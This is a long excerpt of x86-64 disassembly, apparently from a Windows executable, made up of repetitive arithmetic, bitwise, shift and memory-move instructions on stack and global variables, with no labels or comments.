movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140114598]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd2]
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0x74d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5dd0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd28], ax
movzx eax, word [rsp + 0x884]
mov word [rsp + 0xd70], ax
mov rax, qword [rsp + 0x53d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2dd8], eax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x6b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7518], rax
lea rax, [rsp + 0x2a88]
mov qword [rsp + 0x7608], rax
mov rax, qword [rsp + 0x6958]
mov rcx, qword [rsp + 0x5fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0x74d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5758]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401130d8], ax
movzx eax, word [rsp + 0x980]
mov rcx, qword [rsp + 0x6988]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa3c], ax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov byte [rsp + 0x13a], al
lea rax, [rsp + 0xcf4]
mov qword [rsp + 0x7610], rax
mov eax, dword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x2f30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fd4], eax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov qword [rsp + 0x7618], rax
mov rax, qword [rsp + 0x6638]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fb0], rax
mov rax, qword [rsp + 0x5460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x7620], rax
mov rax, qword [0x1401146d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6388]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113087], al
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5d30]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e], al
lea rax, [rsp + 0x36]
mov qword [rsp + 0x7628], rax
movzx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x65a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x117]
or eax, ecx
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x7038]
mov eax, dword [rax]
mov dword [rsp + 0x2ff4], eax
mov rax, qword [rsp + 0x5b08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5c58]
shr rax, cl
mov rcx, qword [rsp + 0x7098]
mov qword [rcx], rax
lea rax, [rsp + 0x61a0]
mov qword [rsp + 0x7630], rax
mov rax, qword [rsp + 0x6550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae0], eax
lea rax, [rsp + 0x8d0]
mov qword [0x1401146f0], rax
movzx eax, word [rsp + 0xaa4]
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0x5cd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7488]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x33], al
movsx eax, word [rsp + 0xa44]
movsx ecx, word [rsp + 0xa90]
sub eax, ecx
mov rcx, qword [rsp + 0x6620]
mov word [rcx], ax
lea rax, [rsp + 0x94c]
mov qword [rsp + 0x7638], rax
mov rax, qword [rsp + 0x72d8]
mov rcx, qword [rsp + 0x5818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x74f8], rax
lea rax, [rsp + 0x6f48]
mov qword [rsp + 0x7640], rax
mov rax, qword [rsp + 0x6900]
mov ecx, dword [rsp + 0x2d78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e54], eax
mov rax, qword [rsp + 0x7490]
mov rcx, qword [rsp + 0x5c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ec0]
mov dword [rcx], eax
mov rax, qword [0x140114520]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x123]
add eax, ecx
mov byte [0x140114214], al
mov rax, qword [rsp + 0x4e38]
movzx eax, word [rax]
mov word [rsp + 0xd78], ax
movsx eax, byte [rsp + 0xba]
mov rcx, qword [0x140114648]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x73b8]
movzx eax, word [rax]
mov word [rsp + 0xd7c], ax
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x139]
sub eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x4d58]
mov rcx, qword [rsp + 0x7468]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2dd4], eax
mov rax, qword [rsp + 0x75f8]
mov rax, qword [rax]
mov qword [rsp + 0x7648], rax
mov rax, qword [rsp + 0x75b8]
mov rcx, qword [rsp + 0x6c18]
mov qword [rsp + 0x7650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7650]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5610], rax
lea rax, [rsp + 0x2c1c]
mov qword [rsp + 0x7658], rax
lea rax, [0x140113086]
mov qword [0x1401146f8], rax
movsx eax, word [rsp + 0xb08]
mov rcx, qword [rsp + 0x5338]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6620]
mov word [rcx], ax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0x6640]
movzx eax, byte [rax]
movzx ecx, byte [0x140113016]
or eax, ecx
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0x7420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb90]
sub eax, ecx
mov word [rsp + 0x938], ax
lea rax, [rsp + 0x2f5c]
mov qword [rsp + 0x7660], rax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x6440]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b28]
mov qword [rcx], rax
lea rax, [rsp + 0x2d8c]
mov qword [rsp + 0x7668], rax
mov rax, qword [rsp + 0x7550]
mov rcx, qword [rsp + 0x4ec8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6670], rax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13c]
add eax, ecx
mov byte [0x14011306a], al
movsx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0x6b38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x63f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x940]
mov word [rsp + 0xd80], ax
movsx eax, byte [0x140113043]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x5660]
movzx eax, byte [rax]
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0x6940]
mov ecx, dword [rsp + 0x2bbc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f3c], eax
mov rax, qword [rsp + 0x6aa8]
mov ecx, dword [rsp + 0x2e64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6648]
mov dword [rcx], eax
mov rax, qword [rsp + 0x63a8]
mov qword [rsp + 0x7670], rax
mov rax, qword [rsp + 0x7148]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5cf0], rax
mov rax, qword [rsp + 0x6dc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6780]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401144e0]
mov word [rcx], ax
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x7678], rax
mov rax, qword [rsp + 0x7208]
movzx eax, word [rax]
movzx ecx, word [0x1401130f0]
shl eax, cl
mov rcx, qword [rsp + 0x6358]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7240]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x55e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5068]
movzx eax, byte [rax]
mov byte [rsp + 0x169], al
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2ebc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x64c0]
mov dword [rcx], eax
lea rax, [rsp + 0x69d8]
mov qword [rsp + 0x7680], rax
mov rax, qword [rsp + 0x5698]
mov ecx, dword [rsp + 0x2e9c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2c18], eax
lea rax, [rsp + 0x6e08]
mov qword [rsp + 0x7688], rax
movzx eax, byte [rsp + 0x143]
mov byte [0x140114237], al
mov rax, qword [rsp + 0x69c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x904], ax
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [0x1401130b4]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov word [rcx], ax
mov rax, qword [rsp + 0x54c0]
movzx eax, byte [rax]
mov byte [rsp + 0x16a], al
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x2d04]
mov dword [rsp + 0x2ff8], eax
mov eax, dword [rsp + 0x2df0]
mov ecx, dword [rsp + 0x2b8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c38], eax
mov rax, qword [rsp + 0x56d0]
mov rcx, qword [rsp + 0x75e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a10], rax
lea rax, [rsp + 0x63f8]
mov qword [rsp + 0x7690], rax
movsx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x53d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14011310c], ax
mov rax, qword [rsp + 0x7218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
mov word [rsp + 0xd84], ax
movsx eax, byte [rsp + 0xff]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x6f40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
sub eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
lea rax, [rsp + 0x2f44]
mov qword [rsp + 0x7698], rax
mov rax, qword [rsp + 0x57f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d68]
mov rax, qword [rax]
mov qword [rsp + 0x76a0], rax
mov rax, qword [rsp + 0x5930]
mov rcx, qword [rsp + 0x6fb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6e08], rax
movzx eax, byte [rsp + 0xfb]
movzx ecx, byte [rsp + 0xc2]
shl eax, cl
mov rcx, qword [rsp + 0x59c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
sar eax, cl
mov rcx, qword [0x1401144f8]
mov word [rcx], ax
lea rax, [0x140113060]
mov qword [rsp + 0x76a8], rax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x79], al
movzx eax, word [rsp + 0xb30]
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x73c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7670], rax
mov eax, dword [rsp + 0x2e40]
mov dword [rsp + 0x2ffc], eax
mov rax, qword [rsp + 0x6220]
mov rcx, qword [rsp + 0x74a0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b44]
mov ecx, dword [rsp + 0x2bc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c88]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd4c]
mov word [rsp + 0xd8c], ax
movsx eax, byte [rsp + 0x147]
mov rcx, qword [rsp + 0x58f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113087], al
movzx eax, word [0x1401143e8]
movzx ecx, word [rsp + 0xd24]
and eax, ecx
mov word [rsp + 0x870], ax
lea rax, [rsp + 0xc90]
mov qword [rsp + 0x76b0], rax
movsx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0x6a88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x146], al
mov eax, dword [rsp + 0x2fbc]
mov ecx, dword [rsp + 0x2ca0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d84], eax
mov eax, dword [rsp + 0x2dc0]
mov dword [rsp + 0x3000], eax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x5ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5718]
mov qword [rcx], rax
lea rax, [0x140114160]
mov qword [rsp + 0x76b8], rax
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x6468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7570]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011308a], al
movsx eax, word [rsp + 0xc94]
mov rcx, qword [rsp + 0x73a0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc40], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x76c0], rax
mov rax, qword [rsp + 0x5e70]
movzx eax, word [rax]
movzx ecx, word [0x140113054]
xor eax, ecx
mov word [rsp + 0xbb0], ax
mov eax, dword [rsp + 0x2da0]
mov dword [rsp + 0x3004], eax
mov eax, dword [rsp + 0x2980]
movzx ecx, al
mov eax, dword [rsp + 0x2b78]
shr eax, cl
mov dword [rsp + 0x2b90], eax
mov rax, qword [rsp + 0x57c8]
mov qword [rsp + 0x76c8], rax
mov rax, qword [rsp + 0x4ce8]
movzx ecx, al
mov rax, qword [rsp + 0x5f88]
shl rax, cl
mov rcx, qword [rsp + 0x6cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7310]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ea8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xacc]
sub eax, ecx
mov rcx, qword [0x140114458]
mov word [rcx], ax
movzx eax, byte [rsp + 0x141]
mov byte [rsp + 0x16b], al
mov rax, qword [rsp + 0x5398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5cb0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
movzx eax, word [rsp + 0x924]
mov word [rsp + 0xd90], ax
mov rax, qword [rsp + 0x75b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x116]
sub eax, ecx
mov byte [rsp + 0x3e], al
mov rax, qword [rsp + 0x64b0]
mov rcx, qword [rsp + 0x67f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6930], rax
mov eax, dword [rsp + 0x2ec0]
mov dword [rsp + 0x3008], eax
mov rax, qword [rsp + 0x6e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fe4], eax
mov rax, qword [rsp + 0x7370]
mov qword [rsp + 0x76d0], rax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov word [0x140114700], ax
mov rax, qword [0x1401143a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5fe8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaf0]
add eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x75a8]
movzx eax, word [rax]
mov word [rsp + 0xd94], ax
movsx eax, byte [0x140114212]
mov rcx, qword [rsp + 0x6ee8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b70]
mov byte [rcx], al
lea rax, [rsp + 0x2f38]
mov qword [rsp + 0x76d8], rax
mov rax, qword [rsp + 0x6e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f64], eax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x6250]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x65a0], rax
lea rax, [rsp + 0x5380]
mov qword [rsp + 0x76e0], rax
movsx eax, word [rsp + 0xac4]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140114258]
mov word [rcx], ax
mov rax, qword [rsp + 0x6808]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0xc80]
mov word [rsp + 0xd98], ax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0xec]
or eax, ecx
mov byte [rsp + 0xad], al
lea rax, [rsp + 0xd38]
mov qword [rsp + 0x76e8], rax
mov rax, qword [rsp + 0x7090]
mov ecx, dword [rsp + 0x2bd4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7340]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72b8]
movabs rcx, 0x7a92f0c7dc9645
mov rax, qword [rax]
imul rax, rcx
mov qword [rsp + 0x6f48], rax
lea rax, [rsp + 0x2ed8]
mov qword [rsp + 0x76f0], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x6938]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5388], rax
lea rax, [rsp + 0xab4]
mov qword [0x140114708], rax
lea rax, [0x14011301e]
mov qword [rsp + 0x76f8], rax
mov rax, qword [rsp + 0x6b18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x85]
sub eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, byte [rsp + 0x142]
mov rcx, qword [rsp + 0x7448]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xad], al
lea rax, [0x1401130a8]
mov qword [rsp + 0x7700], rax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [rsp + 0x6800]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6630], rax
mov rax, qword [rsp + 0x5988]
mov qword [rsp + 0x7708], rax
mov rax, qword [rsp + 0x6278]
mov ecx, dword [rsp + 0x3004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7298]
mov ecx, dword [rsp + 0x2f80]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011306e], al
lea rax, [rsp + 0x69]
mov qword [rsp + 0x7710], rax
movsx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6990]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7130]
mov word [rcx], ax
lea rax, [rsp + 0xaec]
mov qword [rsp + 0x7718], rax
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a0]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bd8]
mov qword [rsp + 0x7720], rax
mov eax, dword [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x6a78]
mov qword [rsp + 0x7728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7728]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2e10], eax
mov rax, qword [rsp + 0x7180]
mov ecx, dword [rsp + 0x2e70]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2c58], eax
mov rax, qword [rsp + 0x6f00]
mov rax, qword [rax]
mov qword [rsp + 0x7730], rax
lea rax, [rsp + 0xb1c]
mov qword [0x140114710], rax
movsx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5c60]
mov byte [rcx], al
mov rax, qword [rsp + 0x5b50]
movzx eax, word [rax]
mov word [rsp + 0xd9c], ax
mov rax, qword [rsp + 0x5578]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [0x140114630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc28]
and eax, ecx
mov rcx, qword [rsp + 0x5810]
mov word [rcx], ax
lea rax, [rsp + 0x2e0c]
mov qword [rsp + 0x7738], rax
mov rax, qword [rsp + 0x76b8]
mov rcx, qword [rsp + 0x61a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6350]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a70]
mov eax, dword [rax]
mov dword [rsp + 0x300c], eax
mov rax, qword [rsp + 0x54d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7730]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f38], rax
lea rax, [rsp + 0x168]
mov qword [0x140114718], rax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [0x1401146f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8e], al
lea rax, [rsp + 0xad8]
mov qword [rsp + 0x7740], rax
mov rax, qword [rsp + 0x5e58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x63f0]
mov word [rcx], ax
lea rax, [rsp + 0x128]
mov qword [rsp + 0x7748], rax
mov eax, dword [rsp + 0x2b88]
mov ecx, dword [rsp + 0x2fec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d94], eax
mov rax, qword [rsp + 0x5820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f0c], eax
mov rax, qword [rsp + 0x7250]
mov rax, qword [rax]
mov qword [rsp + 0x7750], rax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x7148]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6870], rax
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0x8d0]
sub eax, ecx
mov word [0x140113068], ax
mov rax, qword [rsp + 0x74f0]
movzx eax, word [rax]
mov word [rsp + 0xda0], ax
mov rax, qword [rsp + 0x6060]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6820]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x10b], al
lea rax, [rsp + 0xe2]
mov qword [rsp + 0x7758], rax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0x5cd8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7508]
mov qword [rsp + 0x7760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7760]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2c98], eax
lea rax, [rsp + 0x2f2c]
mov qword [rsp + 0x7768], rax
mov rax, qword [rsp + 0x7098]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140113008]
shr rax, cl
mov qword [rsp + 0x7530], rax
lea rax, [rsp + 0x66c8]
mov qword [rsp + 0x7770], rax
movsx eax, byte [rsp + 0x12d]
mov rcx, qword [rsp + 0x6360]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x6708]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401130f0], ax
movzx eax, byte [rsp + 0x92]
movzx ecx, byte [rsp + 0x9d]
add eax, ecx
mov byte [rsp + 0xd0], al
movzx eax, word [rsp + 0xa1c]
mov word [rsp + 0xda4], ax
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x6060]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x6ab8]
mov rax, qword [rax]
mov qword [rsp + 0x7778], rax
mov rax, qword [rsp + 0x72c0]
mov ecx, dword [rsp + 0x2fac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d4c], eax
mov rax, qword [rsp + 0x7438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6720], rax
lea rax, [rsp + 0x2dfc]
mov qword [rsp + 0x7780], rax
movzx eax, byte [rsp + 0xb4]
movzx ecx, byte [0x140114226]
sub eax, ecx
mov rcx, qword [rsp + 0x5c48]
mov byte [rcx], al
lea rax, [rsp + 0x940]
mov qword [0x140114720], rax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x16c], al
movzx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x7008]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e88]
mov byte [rcx], al
movsx eax, word [rsp + 0xd2c]
mov rcx, qword [rsp + 0x6290]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
lea rax, [rsp + 0x5b40]
mov qword [rsp + 0x7788], rax
mov rax, qword [rsp + 0x58c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x7790], rax
mov rax, qword [rsp + 0x7090]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6210]
mov dword [rcx], eax
lea rax, [rsp + 0x914]
mov qword [rsp + 0x7798], rax
mov rax, qword [rsp + 0x5e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x920]
xor eax, ecx
mov word [0x140113044], ax
mov rax, qword [rsp + 0x7718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5850]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7610]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6558]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd8], al
movzx eax, word [str.n_a54]
mov word [rsp + 0xda8], ax
mov rax, qword [rsp + 0x5e50]
mov rcx, qword [rsp + 0x76b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6998], rax
mov rax, qword [rsp + 0x5380]
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x6fe8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29d8]
mov ecx, dword [rsp + 0x2d24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be4], eax
lea rax, [rsp + 0xed]
mov qword [rsp + 0x77a8], rax
lea rax, [0x14011304b]
mov qword [0x140114728], rax
movzx eax, word [rsp + 0xaf0]
movzx ecx, word [rsp + 0xbfc]
sub eax, ecx
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
lea rax, [rsp + 0x8a4]
mov qword [rsp + 0x77b0], rax
movzx eax, byte [rsp + 0x8f]
movzx ecx, byte [0x140114236]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x6f58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x74c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa58], ax
